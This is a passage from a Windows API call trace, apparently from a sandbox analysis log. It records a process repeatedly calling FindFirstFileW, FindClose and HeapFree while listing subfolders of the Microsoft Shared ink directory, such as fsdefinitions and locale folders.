dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.743] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.743] GetProcessHeap () returned 0x550000 [0195.743] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.744] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.745] GetProcessHeap () returned 0x550000 [0195.745] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.745] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.745] GetProcessHeap () returned 0x550000 [0195.745] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.746] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.746] GetProcessHeap () returned 0x550000 [0195.746] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.746] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.746] GetProcessHeap () returned 0x550000 [0195.746] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.747] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.747] GetProcessHeap () returned 0x550000 [0195.747] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.747] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.747] GetProcessHeap () returned 0x550000 [0195.747] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.748] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.748] GetProcessHeap () returned 0x550000 [0195.748] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.748] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.748] GetProcessHeap () returned 0x550000 [0195.748] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.748] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.748] GetProcessHeap () returned 0x550000 [0195.749] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.749] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.749] GetProcessHeap () returned 0x550000 [0195.749] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.749] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.749] GetProcessHeap () returned 0x550000 [0195.749] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.750] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.750] GetProcessHeap () returned 0x550000 [0195.750] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.750] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.750] GetProcessHeap () returned 0x550000 [0195.750] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.751] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.751] GetProcessHeap () returned 0x550000 [0195.751] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.751] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.751] GetProcessHeap () returned 0x550000 [0195.751] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.752] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.752] GetProcessHeap () returned 0x550000 [0195.752] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.752] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.752] GetProcessHeap () returned 0x550000 [0195.752] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.752] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.753] GetProcessHeap () returned 0x550000 [0195.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.753] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.753] GetProcessHeap () returned 0x550000 [0195.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.753] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.754] GetProcessHeap () returned 0x550000 [0195.754] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.754] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.754] GetProcessHeap () returned 0x550000 [0195.754] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.754] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.755] GetProcessHeap () returned 0x550000 [0195.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.755] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.755] GetProcessHeap () returned 0x550000 [0195.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.755] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.755] GetProcessHeap () returned 0x550000 [0195.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.756] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.756] GetProcessHeap () returned 0x550000 [0195.756] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.756] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.756] GetProcessHeap () returned 0x550000 [0195.756] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.757] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.757] GetProcessHeap () returned 0x550000 [0195.757] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.757] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.757] GetProcessHeap () returned 0x550000 [0195.757] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.758] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.758] GetProcessHeap () returned 0x550000 [0195.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.759] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.759] GetProcessHeap () returned 0x550000 [0195.759] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.759] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.759] GetProcessHeap () returned 0x550000 [0195.759] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, 